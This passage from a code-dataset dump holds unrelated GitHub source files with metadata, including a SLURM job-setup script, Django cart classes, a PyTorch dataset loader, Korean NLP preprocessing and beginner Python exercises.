browser.find_element(By.CLASS_NAME, \"smart-hints__hint\").text\n\n if el != \"Correct!\":\n self.output_text += el\n print(self.output_text)\n\n assert el == \"Correct!\", el\n\n\n","repo_name":"BulatGalimullin/stepik-auto-tests-course","sub_path":"Tasks/test_lesson3_6_step3_parametrization.py","file_name":"test_lesson3_6_step3_parametrization.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2673190583","text":"\"\"\"Um posto está vendendo combustíveis com a seguinte tabela de descontos:\nÁlcool:\naté 20 litros, desconto de 3% por litro\nacima de 20 litros, desconto de 5% por litro\nGasolina:\naté 20 litros, desconto de 4% por litro\nacima de 20 litros, desconto de 6% por litro Escreva um algoritmo que leia o número de litros vendidos, o tipo de\ncombustível (codificado da seguinte forma: A-álcool, G-gasolina), calcule e imprima o valor a ser pago pelo cliente\nsabendo-se que o preço do litro da gasolina é R$ 2,50 o preço do litro do álcool é R$ 1,90.\"\"\"\n\nprint('A-álcool, G-gasolina')\nlitros_vendidos = float(input('Informe a quantidade de litros vendidos: '))\ntipo_combustivel = str(input('Infome o tipo de combustível: ')).upper()\n\npreco_alcool = 1.90\npreco_gasolina = 2.50\n\nif litros_vendidos <= 20:\n desconto_alcool = 0.97 # 3%\n desconto_gasolina = 0.95 # 5%\nelse:\n desconto_alcool = 0.95 # 5%\n desconto_gasolina = 0.94 # 6%\n\nif tipo_combustivel == 'A':\n valor_total = litros_vendidos * preco_alcool\n valor_com_desconto = valor_total * desconto_alcool\nelse:\n valor_total = litros_vendidos * preco_gasolina\n valor_com_desconto = valor_total * desconto_gasolina\n\nprint(valor_com_desconto)\n","repo_name":"mateuslourenco/exericicios-wiki-python","sub_path":"Estrutura de Decisão/ex_26.py","file_name":"ex_26.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32180109935","text":"#!/usr/bin/env python3\n\nimport argparse\nimport os\nimport shutil\nimport time\nimport glob\n\nparser = argparse.ArgumentParser(\n prog = 'rnamake_twoway_display_setup.py',\n description = 'Set up slurm scripts for twoway_display.py.',\n epilog = 'Split PDB files and prepare independent job directories and command-lines.')\n\nparser.add_argument('-e','--extra_pdbs', nargs='+', required=True)\nparser.add_argument('--pdbs_per_job', default=4, type=int, help='number of separate TWOWAY junctions to put in each CPU' )\nparser.add_argument('--jobs_per_slurm_node', default=16, type=int, help='number of CPUs to ask for per SLURM job' )\nparser.add_argument('-p','--pdb', type=str, help='PDB file with tetraloop receptor', default='updated_ttr.pdb' )\nparser.add_argument('--start_bp', type=str, help='start BP', default='A18-A27' )\nparser.add_argument('--end_bp', type=str, help='end BP', default='A8-A9' )\nparser.add_argument('--num_designs', type=int, help='Number of designs', default=1 )\nparser.add_argument('-O','--outdir',default='OUTPUT/')\n\nargs = parser.parse_args()\npdb = args.pdb\n\ntime_start = time.time()\n\n# Check executables and input files\nassert( len(os.environ['RNAMAKE']) > 0 )\nEXE = 'design_rna_scaffold'\nassert( shutil.which( EXE ) )\nassert( shutil.which('rnamake_twoway_display_run.py') )\nassert( os.path.isdir(os.environ['RNAMAKE']) )\noriginal_RNAMAKE = os.environ['RNAMAKE']\nassert( os.path.isfile( pdb ) )\nassert( pdb[-4:] == '.pdb' )\nfor extra_pdb in args.extra_pdbs:\n assert( os.path.isfile( extra_pdb ) )\n assert( extra_pdb[-4:] == '.pdb' )\n\n# Create job directories and compile all commands\nall_commands_file = 'all_commands.sh'\nfid_all = open( all_commands_file, 'w' )\n\nslurm_file_dir = 'slurm_files'\nos.makedirs(slurm_file_dir, exist_ok=True )\n\nslurm_file_count = 1\nfid_slurm = open( '%s/run_slurm_%03d.sh' % (slurm_file_dir, slurm_file_count), 'w' )\nsbatch_preface = '#!/bin/bash\\n#SBATCH --job-name=rnamake_run\\n#SBATCH --output=rnamake_run.o%%j\\n#SBATCH --error=rnamake_run.e%%j\\n#SBATCH --partition=biochem,owners\\n#SBATCH --time=48:00:00\\n#SBATCH -n %d\\n#SBATCH -N 1\\n#SBATCH --mem=%dG\\n\\nml load gcc/12.1.0\\n' % (args.jobs_per_slurm_node,2*args.jobs_per_slurm_node)\nfid_slurm.write( sbatch_preface )\nfid_sbatch_commands = open( 'sbatch_commands.sh', 'w')\n\nextra_pdbs_for_command_line = []\nnum_commands = 0\nnum_jobs = 0\ntot_jobs = 0\nfor (i,extra_pdb) in enumerate(args.extra_pdbs):\n\n extra_pdbs_for_command_line.append( extra_pdb )\n if len( extra_pdbs_for_command_line ) == args.pdbs_per_job or i == len( args.extra_pdbs )-1:\n extra_pdbs_string = ' '.join(extra_pdbs_for_command_line)\n hashdir = hash(extra_pdbs_string)\n command = '\\ncp -r %s /tmp/%d\\n' % (original_RNAMAKE,hashdir)\n command += 'export RNAMAKE=/tmp/%d\\n' % hashdir\n command += 'rnamake_twoway_display_run.py --extra_pdbs %s -p %s --start_bp %s --end_bp %s --num_designs %d -O %s &\\n' %( extra_pdbs_string, args.pdb, args.start_bp, args.end_bp, args.num_designs, args.outdir )\n fid_all.write( command )\n fid_slurm.write( command )\n extra_pdbs_for_command_line = []\n num_jobs += 1\n tot_jobs += 1\n\n num_commands += 1\n if (num_jobs == args.jobs_per_slurm_node) or i == len(args.extra_pdbs)-1:\n fid_slurm.write('\\nwait\\necho \"DONE\"\\n')\n fid_slurm.close()\n fid_sbatch_commands.write('sbatch %s\\n' % fid_slurm.name )\n if i < len(args.extra_pdbs)-1:\n fid_slurm = open( '%s/run_slurm_%03d.sh' % (slurm_file_dir, slurm_file_count), 'w' )\n fid_slurm.write( sbatch_preface )\n slurm_file_count += 1\n num_jobs = 0\n\ntime_end = time.time()\nprint( '\\nTotal time: ' + time.strftime(\"%H:%M:%S\",time.gmtime(time_end-time_start) ) )\n\nprint( '\\n\\nAll %d extra_pdbs within %d jobs can be run with:\\n source %s' % (num_commands,tot_jobs,fid_all.name) )\n\nprint( '\\n\\nAll %d extra_pdbs within %d jobs in %d SLURM scripts can be run with:\\n source %s' % (num_commands,tot_jobs,slurm_file_count,fid_sbatch_commands.name) )\n\n\nfid_all.close()\nfid_sbatch_commands.close()\n\n","repo_name":"DasLab/daslab_tools","sub_path":"rnamake_twoway_display_setup.py","file_name":"rnamake_twoway_display_setup.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70883504693","text":"from store.models import *\nfrom django.db.models import F\n\n\nclass CartObject:\n \"\"\"Create a product's cart object with variety and quantity attributes \"\"\"\n\n def __init__(self, variety, quantity):\n self.fk_variety = variety\n self.quantity = int(quantity)\n\n\nclass CartSession(CartObject, Variety):\n \"\"\"To create an cart object with request.session['cart'] of\n the anonymous user. The object can call several methods to create a list\n of cart item object in the manner of a queryset\n \"\"\"\n\n def __init__(self, dict):\n self.data = dict\n\n def create_queryset(self, request):\n self.objects = []\n for key, value in self.data.items():\n fk_variety = Variety.objects.get(pk=key)\n quantity = value\n cart_item = CartObject(fk_variety, quantity)\n self.objects.append(cart_item)\n\n def return_queryset(self, request):\n return self.objects\n\n def update(self, request):\n for obj in self.objects:\n key = str(obj.fk_variety.pk)\n if obj.fk_variety.stock == 0 or obj.fk_variety.available is False:\n self.data.pop(key)\n self.objects.remove(obj)\n\n elif obj.quantity > obj.fk_variety.stock:\n obj.quantity = obj.fk_variety.stock\n self.data[key] = str(obj.quantity)\n\n return self.data\n\n def to_cart_database(self, request, client, add):\n for object in self.objects:\n variety = object.fk_variety\n quantity = object.quantity\n add(request, client, variety, quantity)\n\n\nclass UserCart:\n '''Create an object with queryset of client and cart from database.\n An object can call two methods, to calcul a total and to unsave\n product of the cart's client in the database\n '''\n\n def __init__(self, client):\n self.client = client\n self.cart_queryset = Cart.objects.filter(fk_client=self.client)\n\n def total(self):\n total_cart = 0\n for product in self.cart_queryset:\n product.total = product.quantity * product.fk_variety.price\n total_cart += product.total\n return total_cart, self.cart_queryset\n\n def unsave(self):\n for obj in self.cart_queryset:\n variety = obj.fk_variety\n variety.stock = F(\"stock\") + obj.quantity\n variety.save()\n","repo_name":"GregDupl/OnlineFarmerMarket","sub_path":"store/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13271091181","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 1 13:59:42 2020\n\n@author: wany105\n\"\"\"\n\nimport numpy as np\nfrom scipy.stats import norm\nfrom scipy.stats import pearsonr\nfrom scipy.integrate import quad\nimport math\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom scipy import stats\nimport seaborn as sns\n\n\ndef CorFun(lamb, X1, X2):\n return np.exp(-lamb*np.abs(X1 - X2))\n\ndef Klexpan(X, lamb, Num):\n Mtr = np.zeros([len(X), len(X)])\n \n #Generate Correlation Matrix\n for i in range(len(Mtr)):\n for j in range(len(Mtr)):\n Mtr[i, j] = CorFun(lamb, X[i], X[j])\n \n #Calculate the eigenvalue and eigenvector\n eigvalue = np.linalg.eig(Mtr)[0]\n eigvector = np.linalg.eig(Mtr)[1]\n \n #Sampling normal distribtuion\n fi = np.zeros([Num, len(eigvalue)])\n for i in range(Num):\n for j in range(len(eigvalue)):\n fi[i, j] = np.random.normal()\n \n #Sampling Random process\n G = np.zeros([len(X), Num])\n for i in range(len(X)):\n for j in range(Num):\n Temp = 0\n for k in range(len(eigvalue)):\n Temp += eigvalue[k]**0.5*fi[j, k]*eigvector[i, k]\n G[i, j] = Temp\n \n return G\n\ndef CorrCheck(G, X):\n Covlist = []\n Inter = []\n Base = G[0, :]\n for i in range(len(X)):\n Compare = G[i, :]\n Covlist.append(pearsonr(Base, Compare)[0])\n Inter.append(X[i] - X[0])\n \n fig1 = plt.figure()\n plt.plot(np.array(Inter), np.array(Covlist), label = 'Simulate', linestyle = '--')\n plt.plot(np.array(Inter), np.exp(-np.array(Inter)), label = 'Target', linestyle = '-')\n plt.xlabel('Interval t')\n plt.ylabel('Correlation Coefficient R(t)')\n plt.xticks(X)\n plt.legend(bbox_to_anchor=(1, 1), loc='upper left', ncol=1, frameon = 0)\n plt.grid(True)\n\ndL = 1\nL1 = 0\nL2 = 3\nL = np.arange(L1, L2 + dL, dL)\nlamb = 1\nNum = 1000\nG = Klexpan(L, lamb, Num)\nCorrCheck(G, L)\n\n#Sampling parameter to generate training data\n#Unnormalized\ndef Unnormal(Mean, Sig, Data):\n Data = Data*Sig + Mean\n return Data\n\ndef Normalize(Mean, Sig, Data):\n Data = (Data - Mean)/Sig\n return Data\n\ndef SampleProcess(X, Num, G, Num2):\n Sample = np.zeros([len(X), Num2])\n for i in range(Num2):\n Index = np.random.randint(0, Num)\n Sample[:, i] = G[:, i]\n return Sample\n\ndef SampleNormal(Mean, Sig, Num):\n P = np.zeros(Num)\n for i in range(Num):\n P[i] = np.random.normal(Mean, Sig)\n \n return P\n\n#Calculate Physical Result\ndef PhysicalModel(E, P):\n Y = 0\n for i in range(len(E)):\n Y += 1/1*P/E[i]\n \n return Y\n \ndef CalElong(E, P, X, Num2):\n X_Data = np.zeros([Num2, len(E) + 1])\n Y = []\n Temp = 0\n for i in range(len(P)):\n X_Data[Temp, :] = [P[i], E[0, i], E[1, i], E[2, i], E[3, i]]\n Y.append(PhysicalModel([E[0, i], E[1, i], E[2, i], E[3, i]], P[i]))\n Temp += 1\n return X_Data, np.array(Y)\n\n\ndef PlotDistri(Y, c):\n plt.rcParams.update({'figure.figsize':(7,5), 'figure.dpi':100})\n # Plot Histogram on x\n plt.hist(Y, bins = 20, color = c)\n plt.gca().set(title='', xlabel = 'The Elongation Value', ylabel='The Frequency')\n plt.grid(True)\n \n \n\nMean_E = 30000\nSig_E = 3000\n\nMean_P = 2000\nSig_P = 400\nNum2 = 50\nP = SampleNormal(Mean_P, Sig_P, Num2)\nE = SampleProcess(L, Num, G, Num2)\nE = Unnormal(Mean_E, Sig_E, E)\nX_Data, Y = CalElong(E, P, L, Num2)\nPlotDistri(Y, c = 'orange')\n\n#Surrogate Model\n#PCE Parameter\ndef TrainData(RegNum, Num2, E, P, DataNum):\n E_Norm = Normalize(Mean_E, Sig_E, E)\n P_Norm = Normalize(Mean_P, Sig_P, P)\n X = np.zeros([DataNum, RegNum])\n \n Temp = 0\n for i in range(Num2):\n f1, f2, f3, f4, f5 = P_Norm[i], E_Norm[0, i], E_Norm[1, i], E_Norm[2, i], E_Norm[3, i]\n f1f2, f1f3, f1f4, f1f5 = f1*f2, f1*f3, f1*f4, f1*f5\n f2f3, f2f4, f2f5 = f2*f3, f2*f4, f2*f5\n f3f4, f3f5 = f3*f4, f3*f5\n f4f5 = f4*f5\n f1_2, f2_2, f3_2, f4_2, f5_2 = f1**2-1, f2**2-1, f3**2-1, f4**2-1, f5**2-1\n \n X[Temp, 0], X[Temp, 1], X[Temp, 2], X[Temp, 3], X[Temp, 4], X[Temp, 5] = 1, f1, f2, f3, f4, f5\n X[Temp, 6], X[Temp, 7], X[Temp, 8], X[Temp, 9], X[Temp, 10] = f1_2, f2_2, f3_2, f4_2, f5_2\n X[Temp, 11], X[Temp, 12], X[Temp, 13], X[Temp, 14] = f1f2, f1f3, f1f4, f1f5\n X[Temp, 15], X[Temp, 16], X[Temp, 17] = f2f3, f2f4, f2f5\n X[Temp, 18], X[Temp, 19] = f3f4, f3f5\n X[Temp, 20] = f4f5\n Temp += 1\n return X\ndef Regression(X, Y):\n Coeff = np.matmul(np.matmul(np.linalg.inv(np.matmul(X.transpose(), X)), X.transpose()), Y.reshape((len(Y), 1)))\n return Coeff\n\nParaNum = 5\nOrder = 2\nRegNum = 21\nDataNum = len(Y)\nX = TrainData(RegNum, Num2, E, P, DataNum)\nCoeff = Regression(X, Y)\n\n\n#Experiment using our surrogate model\nY2 = np.matmul(X, Coeff)\nPlotDistri(Y2, c = 'orange')\nPlotDistri(Y, c = 'blue')","repo_name":"YuWVandy/2020Spring-UQ","sub_path":"Homework Code/Hw2.py","file_name":"Hw2.py","file_ext":"py","file_size_in_byte":4889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71954811252","text":"import os\nimport pandas as pd\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\n\nfrom utils.Grid import Grid, MIN_LAT, MIN_LNG\n\n\nclass TravelDataSet(Dataset):\n def __init__(self, config, batch_size=None, device=None, path=None):\n super(TravelDataSet, self).__init__()\n\n self.config = config\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') if device is None else device\n\n self.episode_time = config.episode_time\n self.task_duration = config.task_duration\n assert self.episode_time % self.task_duration == 0\n self.n_timeslots = int(self.episode_time // self.task_duration)\n self.max_n_customers = config.max_n_customers\n self.max_n_couriers = config.max_n_couriers\n\n self.batch_size = config.batch if batch_size is None else batch_size\n seed = config.seed\n np.random.seed(seed)\n torch.manual_seed(seed)\n\n self.grid = Grid(MIN_LAT, MIN_LNG, config.n_rows, config.n_cols,\n config.km_per_cell_lat, config.km_per_cell_lng)\n # prepare the grids_data\n self.grid_size = self.config.n_rows * self.config.n_cols\n\n #\n # [bs, 2*max_n_customers, max_n_couriers]\n self.customers_data, self.tsps_data, self.depot_data = self.get_customers_data(path) # [161, 30, 50]\n #\n self.num_samples = self.customers_data.shape[0] # couriers group number\n print('num samples: ', self.num_samples)\n\n self.grids_data = torch.zeros(self.num_samples, 4, (self.grid_size) * self.n_timeslots) # [bs, 4, grid_size*n_timeslots]\n # [0, :, grid_index 1 timeslot 1] [0, :, grid_index 1 timeslot 2], ...\n for i in range((self.grid_size) * self.n_timeslots):\n\n idx = i + 1\n grid_idx0 = i // self.n_timeslots\n grid_idx = grid_idx0 + 1\n\n loc = i\n self.grids_data[:, 0, loc] = self.grid.row_index(grid_idx)\n self.grids_data[:, 1, loc] = self.grid.col_index(grid_idx)\n self.grids_data[:, 2, loc] = (i % self.n_timeslots) * self.task_duration\n self.grids_data[:, 3, loc] = (i % self.n_timeslots) * self.task_duration + self.task_duration\n #\n # transpose\n self.depot_data = self.depot_data.transpose(1, 2) # [n, max_nc, 4]\n self.grids_data = self.grids_data.transpose(1, 2)\n self.customers_data = self.customers_data.transpose(1, 2) # [120, max_n_couriers, 2*15]\n # aa = self.customers_data.cpu().numpy()\n self.tsps_data = self.tsps_data.transpose(1, 2) # [161, max_n_couriers, 1]\n\n self.customers_graph = torch.zeros(self.num_samples, self.max_n_couriers, 1, self.grid.num_rows, self.grid.num_cols)\n for i in range(self.num_samples):\n for j in range(self.max_n_couriers):\n for k in range(self.max_n_customers):\n r = int(self.customers_data[i, j, 2*k].item())\n c = int(self.customers_data[i, j, 2*k+1].item())\n if k == 0:\n self.customers_graph[i, j, 0, r-1, c-1] = 2\n elif r > 0 and c > 0:\n self.customers_graph[i, j, 0, r-1, c-1] = 1\n else:\n self.customers_graph[i, j, 0, r - 1, c - 1] = 3\n break\n #\n # scale\n self.depot_data[:, :, 0:2] = self.depot_data[:, :, 0:2] * 0.1 # 0~1.0 0~1.2\n self.depot_data[:, :, 2:4] = self.depot_data[:, :, 2:4] * 0.004 # 0~0.96\n self.grids_data[:, :, 0:2] = self.grids_data[:, :, 0:2] * 0.1 # 0~1.0 0~1.2\n self.grids_data[:, :, 2:4] = self.grids_data[:, :, 2:4] * 0.004 # 0~0.96\n self.customers_data[:, :, :] = self.customers_data[:, :, :] * 0.1 # 0~1.0 0~1.2\n\n #\n print('TravelDataSet data preparation finished.')\n\n def __len__(self):\n return self.num_samples\n\n def __getitem__(self, idx):\n return self.depot_data[idx], self.grids_data[idx], self.customers_data[idx], self.customers_graph[idx], self.tsps_data[idx], self.tsps_data[idx]\n\n def get_customers_data(self, path=None):\n \"\"\"\n return shape: [self.num_samples, 2 * self.max_n_customers, self.max_n_couriers]\n \"\"\"\n if path is None:\n path = os.path.join(os.path.dirname(__file__), r'../../data/your-data-path')\n else:\n path = os.path.join(os.path.dirname(__file__), path)\n record_pd = pd.read_csv(path, sep=';', usecols=[1, 2, 3, 4])\n # sta_id;courier_id;trip_id;records;date;time;group_id\n record_np = np.array(record_pd) # num_records * 7\n\n customer_list = []\n tsp_list = []\n depot_list = []\n\n current_customer_data = torch.zeros(1, 2 * self.max_n_customers, self.max_n_couriers)\n current_tsp_data = torch.zeros(1, 1, self.max_n_couriers)\n current_depot_data = torch.zeros(1, 4, self.max_n_couriers)\n #\n n_groups = 1\n current_group_id = record_np[0][1]\n # print('group id: ', current_group_id)\n current_index = 0\n for record in record_np:\n\n this_group_id = record[1]\n\n if this_group_id != current_group_id:\n\n current_group_id = this_group_id\n # print('group id: ', current_group_id)\n current_index = n_groups * self.max_n_couriers\n n_groups += 1\n\n customer_list.append(current_customer_data)\n tsp_list.append(current_tsp_data)\n depot_list.append(current_depot_data)\n\n current_customer_data = torch.zeros(1, 2 * self.max_n_customers, self.max_n_couriers)\n current_tsp_data = torch.zeros(1, 1, self.max_n_couriers)\n current_depot_data = torch.zeros(1, 4, self.max_n_couriers)\n\n courier_id = current_index % self.max_n_couriers\n str2_list = record[2].split('|')\n depot = float(str2_list[0])\n idx_list = []\n for k in range(0, len(str2_list)):\n idx_list.append(float(str2_list[k]))\n l = len(idx_list)\n rc_list = []\n for idx in idx_list:\n r, c = self.grid.row_index(idx), self.grid.col_index(idx)\n rc_list.append(r)\n rc_list.append(c)\n current_customer_data[0, 0:2*l, courier_id] = torch.Tensor(rc_list)\n current_tsp_data[0, 0, courier_id] = float(record[3])\n current_depot_data[0, 0, courier_id] = self.grid.row_index(depot)\n current_depot_data[0, 1, courier_id] = self.grid.col_index(depot)\n current_depot_data[0, 2, courier_id] = 0.\n current_depot_data[0, 3, courier_id] = self.episode_time\n\n #\n current_index += 1\n #\n customer_list.append(current_customer_data)\n tsp_list.append(current_tsp_data)\n depot_list.append(current_depot_data)\n #\n customers_data = torch.cat(customer_list, dim=0)\n tsps_data = torch.cat(tsp_list, dim=0)\n depot_data = torch.cat(depot_list, dim=0)\n print('n groups: ', n_groups)\n return customers_data, tsps_data, depot_data # [161, 2*max_n_customers, max_n_couriers]\n\n\nif __name__ == '__main__':\n from config import arg_parser\n cfg = arg_parser()\n couriers_dataset = TravelDataSet(cfg)\n","repo_name":"SongTunes/SMORE","sub_path":"mcs/dataset/TourismDataset.py","file_name":"TourismDataset.py","file_ext":"py","file_size_in_byte":7413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6159392928","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('curriculum', '0002_auto_20151001_1627'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='lesson',\n name='description',\n field=models.TextField(verbose_name='Description', blank=True, default=''),\n ),\n migrations.AlterField(\n model_name='lesson',\n name='gradelevels',\n field=models.ManyToManyField(verbose_name='Grade-levels related to this Lesson', to='curriculum.Gradelevel', blank=True),\n ),\n ]\n","repo_name":"DigitalGizmo/mse21","sub_path":"mse/curriculum/migrations/0003_auto_20151002_1013.py","file_name":"0003_auto_20151002_1013.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13380124865","text":"# predict 할 데이터 전처리 할 떄\n# tokenizer.fit_on_texts(tag_data)\n# 해야 해서 tag_data 저장해야 함\n\n# tag_data만 저장하기 위한 파일\n\n# ------------------------------------------------------------\nimport numpy as np\nimport pandas as pd\n\n# up, down 불러와서 합치자\n# up\nup_data = pd.read_csv('../NLP/save/up_data_02.csv', index_col=0)\nprint('load한 존대말 데이터: \\n', up_data[-5:])\n# down\ndown_data = pd.read_csv('../NLP/save/down_data_02.csv', index_col=0)\nprint('load한 반말 데이터: \\n', down_data[-5:])\n# 각 데이터의 수 확인\nprint('존댓말 데이터의 수: ', len(up_data), '\\n반말 데이터의 수: ', len(down_data))\n# 존댓말 데이터의 수: 1750 > 2830\n# 반말 데이터의 수: 2330 > 2870\n\n# 두 데이터 합하기\nall_data = pd.concat([up_data, down_data])\nprint('shape of all_data: ', all_data.shape)\n# shape of all_data: (5700, 2)\n\n# ------------------------------------------------------------\n# 본격적인 전처리 시작\n\n# 불용어 불러오기(import_stopword.py 파일 참고)\nf = open('../NLP/sample_data/stopword_02.txt','rt',encoding='utf-8') # Open file with 'UTF-8' 인코딩\ntext = f.read()\nstopword = text.split('\\n') \n\n# 품사 태깅으로 토큰화 (품사로 나눈 토큰화)\n# from konlpy.tag import Kkma\n# tokenizer = Kkma()\nfrom konlpy.tag import Okt, Kkma, Komoran\nokt = Okt()\nkkma = Kkma()\nkomo = Komoran()\n\ntag_data = []\nfor sentence in all_data['data']:\n temp_x = []\n temp_x = komo.morphs(sentence)\n temp_x = [word for word in temp_x if not word in stopword]\n nounlist = komo.nouns(sentence)\n temp_x = [noun for noun in temp_x if not noun in nounlist]\n tag_data.append(temp_x)\n\n# 확인용 출력\nprint('토큰화 된 샘플: ', tag_data[-10:-5])\n\n### 불용어 제거 , 토큰화 전 ###\n# label data\n# 35 0 몇 비비가 있다 그랬나\n# 36 0 내 친구는 뭐 컴활 이런 게 더 어렵다고 그랬나\n# 37 0 실추라고 뭐 그랬나\n# 39 0 그랬나\n# 42 0 선훈이 오빠가 여동생 있다 그랬나\n\n### 불용어 제거 , 토큰화 후 ###\n# 토큰화 된 샘플: [['가', '있', '다', '그렇', '었', '나'], \\\n # ['내', '는', '뭐', '화', 'ㄹ', '더', '어렵', '다고', '그렇', '었', '나'], \\\n # ['라고', '뭐', '그렇', '었', '나'], \\\n # ['그렇', '었', '나'], \\\n # ['서', 'ㄴ', '가', '있', '다', '그렇', '었', '나']]\n\n\n# ---------------------------------------------------\n# ---------------------------------------------------\n#tag_data만 저장해봅시다.\nprint(type(tag_data))\n# \n\n# pickle 로 저장\nimport pickle\n\n# 저장\npickle.dump(tag_data, open('../NLP/save/project_011_tag_data.pickle', 'wb'), pickle.HIGHEST_PROTOCOL)\n\n# 불러오기\nload_tag_data = pickle.load(open('../NLP/save/project_011_tag_data.pickle', 'rb'))\nprint('======read complete=====')\n\nprint(load_tag_data[-5:])\n\n# 손실없이 저장 완료!","repo_name":"YoungriKIM/Classify_up_down_text","sub_path":"YUGYO Machine/p_02_save_tag_data.py","file_name":"p_02_save_tag_data.py","file_ext":"py","file_size_in_byte":3096,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11567718628","text":"import numpy as np \n\nclass RunningVariance:\n # Keeps a running estimate of variance\n\n def __init__(self):\n self.m_k = None\n self.s_k = None\n self.k = None\n\n def add(self, x):\n if not self.m_k:\n self.m_k = x\n self.s_k = 0\n self.k = 0\n else:\n old_mk = self.m_k\n self.k += 1\n self.m_k += (x - self.m_k) / self.k\n self.s_k += (x - old_mk) * (x - self.m_k)\n\n def get_variance(self, epsilon=1e-12):\n return self.s_k / (self.k - 1 + epsilon) + epsilon\n \n def get_mean(self):\n return self.m_k\n \ndef get_advantages(values, rewards, gamma=0.999, lmbda=0.95):\n #GAE\n returns = []\n gae = 0\n for i in reversed(range(len(rewards))):\n delta = rewards[i] + gamma * values[i + 1] - values[i]\n gae = delta + gamma * lmbda * gae\n returns.insert(0, gae + values[i])\n\n adv = np.array(returns) - values[:-1]\n return adv","repo_name":"guidolo/ITBA-RL","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20107683145","text":"# 파케이 파일 적재\non_time_dataframe = spark.read.parquet('data/on_time_performance.parquet')\n\n# SQL을 사용해서 2015년 월 별 총 비행 수를 검토\non_time_dataframe.registerTempTable(\"on_time_dataframe\")\ntotal_flights_by_month = spark.sql(\n \"\"\"SELECT Month, Year, COUNT(*) AS total_flights\n FROM on_time_dataframe\n GROUP BY Year, Month\n ORDER BY Year, Month\"\"\"\n)\n\n# map/asDict를 사용하면 행을 좀 더 예쁘게 출력할 수 있음. 선택사항임. \nflights_chart_data = total_flights_by_month.rdd.map(lambda row: row.asDict())\nflights_chart_data.collect()\n\n# 차트를 몽고DB에 저장\nimport pymongo_spark\npymongo_spark.activate()\nflights_chart_data.saveToMongoDB(\n 'mongodb://localhost:27017/agile_data_science.flights_by_month'\n)\n\n","repo_name":"wikibook/agile-data-science","sub_path":"ch05/total_flights.py","file_name":"total_flights.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"72076234933","text":"# Ex 15-10\n\nimport matplotlib.pyplot as plt\nfrom die import Die\n\ndie_1 = Die(8)\ndie_2 = Die(8)\n\n# Make some rolls and store results.\nresults = [die_1.roll() + die_2.roll() for nth_roll in range(10000)]\n\n# Analyze results.\nmax_roll = die_1.num_sides + die_2.num_sides\nfrequencies = [results.count(value) for value in range(2, max_roll+1)]\n\n# Visualize results.\nx_values = range(2,max_roll+1)\n\nplt.style.use('seaborn-dark')\nfig, ax = plt.subplots()\nax.bar(x_values, frequencies, tick_label=x_values)\n\nax.set_title(\"Results of rolling two D8's 10,000 times\", fontsize=16)\nax.set_xlabel('Result', fontsize=14)\nax.set_ylabel('Frequency of Result', fontsize=14)\n\nplt.savefig('two_d8s_with_matplotlib.png')","repo_name":"srenegado/pycrashcourse","sub_path":"ch15/two_d8s_with_matplotlib.py","file_name":"two_d8s_with_matplotlib.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4549756109","text":"# [ 계수 정렬 ]\n# 특정 조건에서만 사용할 수 있찌만 매우 빠른 정렬 알고리즘 (데이터의 크기 범위가 제한되어 정수 형태로 표현할 수 있을 때)\n# 데이터의 개수 N, 데이터 중 최댓값 K => 최악인 경우에도 O(N + K) 보장\n# 때에 따라서 공간 복잡도의 심각한 비효율성을 초래할 수 있다. (데이터가 0과 999,999 단 2개인 경우)\n# 동일한 값을 가지는 데이터가 여러 개 등장할 떄 적합하다.\n\n\narr = [7, 5, 9, 0, 3, 1, 6, 2, 9, 1, 4, 8, 0, 5, 2]\n\ncount = [0] * (max(arr) + 1)\n\nfor a in arr:\n count[a] += 1\n\nprint(count)\n\nfor i in range(len(count)):\n for j in range(count[i]):\n print(i, end=\" \")\n","repo_name":"rivercity310/study","sub_path":"algorithm/algorithm_python/05_Sorting/04_count_sort.py","file_name":"04_count_sort.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"14114850036","text":"import os\nimport random\nfrom pathlib import Path\nimport logging\nimport time\n\nimport numpy as np\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\n\n\ndef get_logger(name: str = None, filehandler: bool = False):\n name = name or __name__\n logging.basicConfig()\n logger = logging.getLogger(name=name)\n logger.setLevel(logging.INFO)\n if filehandler:\n fname = f\"{time.strftime('%Y%m%d-%H%M', time.localtime())}.log\"\n logger.addHandler(logging.FileHandler(filename=fname))\n return logger\n\n\ndef check_exists(path: str | Path) -> str | Path:\n assert os.path.exists(path), f\"{path} does not exist.\"\n return path\n\n\ndef count_parameters(model: nn.Module):\n # Reference\n # https://discuss.pytorch.org/t/how-do-i-check-the-number-of-parameters-of-a-model/4325/8\n return sum(p.numel() for p in model.parameters() if 